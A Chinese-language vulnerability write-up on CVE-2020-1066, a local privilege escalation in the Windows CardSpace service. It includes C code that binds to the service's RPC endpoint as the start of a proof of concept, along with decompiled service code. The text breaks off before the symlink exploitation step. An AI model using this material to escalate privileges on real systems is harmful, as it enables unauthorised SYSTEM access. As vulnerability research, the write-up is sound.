引用

这个漏洞属于Windows CardSpace服务未正确处理符号链接对象导致的任意文件替换的本地权限提升漏洞

申明

作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关

分析

漏洞影响范围

适用于Windows7和Windows Server 2008 R2的普通用户和开启特殊配置的IIS用户

漏洞原理分析

笔者是漏洞的提交者,漏洞更新于2020年5月.漏洞来自于Windows7和Windows Server 2008 R2的Windows CardSpace服务(简称idsvc),该服务可由任意用户启动,本身以System权限运行,并提供公开的RPC调用,服务在由用户触发移动位于当前用户环境变量%APPDATA%目录下指定配置文件时未正确处理符号链接对象,导致任意文件替换的本地权限提升,这是漏洞的成因. 由于是利用基于RPC调用就需要先获取服务的接口MIDL,这样才能编写本地代码与之交互.笔者推荐使用RpcView工具,具体方法可以参考RPC漏洞挖掘系列文章. 先使用如下方法获取符号文件,并在工具中进行符号配置,之后就可以反编译出RPC接口IDL文件,具体方法如下

//先配置环境变量[_NT_SYMBOL_PATH]值如下
SRV*C:\symbols*http://msdl.microsoft.com/download/symbols/
//手动下载符号,symchk.exe在windbg目录下
symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v 
//在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写
srv*C:\symbols

点击看大图通过工具获取其中由3个重要的数据,Rpc协议的类型,协议名称和协议接口的客户端定义文件(编译IDL文件文件生成的.c文件,见左侧Decompilation文本框),这样就可以用如下方法绑定Rpc服务了

BOOL StartRpcService()
{
	RPC_STATUS status;
	unsigned int  cMinCalls = 1;
	RPC_BINDING_HANDLE v5;
	RPC_SECURITY_QOS SecurityQOS = {};
	RPC_WSTR StringBinding = nullptr;
	if (StartConnectingService())
	{
       //Rpc协议的类型,协议名称
		status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
		if (status){
			printf("RpcStringBindingComposeW Failed:%d\n", status);
			return(status);
		}
		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
		RpcStringFreeW(&StringBinding);
		if (status){
			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
			return(status);
		}
		SecurityQOS.Version = 1;
		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
		if (status){
			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
			return(status);
		}
        //绑定接口
		status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
		if (status){
			printf("RpcEpResolveBinding Failed:%d\n", status);
			return(status);
		}
	}
	else
	{
		printf("Start Connecting Windows Cardspace Service Failed");
		return 0;
	}
	return 0;
}

通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理

    //全局RPC接口的全局处理程序
 internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)
        {
           ...
           //初次调用
                if (parentRequestHandle == 0)
                {
                    using (UIAgentMonitorHandle monitorHandle = new 
UIAgentMonitorHandle())
                    {
                        using (ClientRequest clientRequestInstance = 
RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, 
rpcHandle, inStream, (Stream)outStream))
                        {

                            string extendedMessage;
//反射出来后执行实例的DoProcessRequest方法处理请求
                            num = clientRequestInstance.DoProcessRequest(out 
extendedMessage);
                            RpcResponse outArgs1;
                            RequestFactory.ConvertStreamToIntPtr(outStream, out 
outArgs1);
//返回结果
                            outArgs = outArgs1.Marshal();       
                        }
                   }
              }

idsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是"ManageRequest"类;

 private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
        {
            ClientRequest clientRequest = (ClientRequest)null;
            lock (RequestFactory.s_createRequestSync)
            {              
                RequestFactory.RequestName request = 
RequestFactory.s_requestMap[reqName];
                if (-1 != 
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, 
request))
                {
                    Process contextMapping = 
ClientUIRequest.GetContextMapping(rpcHandle, true);
                    InfoCardTrace.ThrowInvalidArgumentConditional(null == 
contextMapping, nameof(rpcHandle));               
                   WindowsIdentity executionIdentity = 
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
                    InfoCardUIAgent agent = 
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
                    switch (RequestFactory.s_requestMap[reqName])
                    {                       
//这里使用的是"ManageRequest"类;
                        case RequestFactory.RequestName.ManageRequest:

                            clientRequest = (ClientRequest)new 
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, 
outStream);
                            break;                    

                    }
                }

触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点. 在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置. 点击看大图

//构造函数
  protected StoreConnection(WindowsIdentity identity)

CVE-2020-1066-EXP

最受欢迎

引用

申明

目录

分析

漏洞影响范围

漏洞原理分析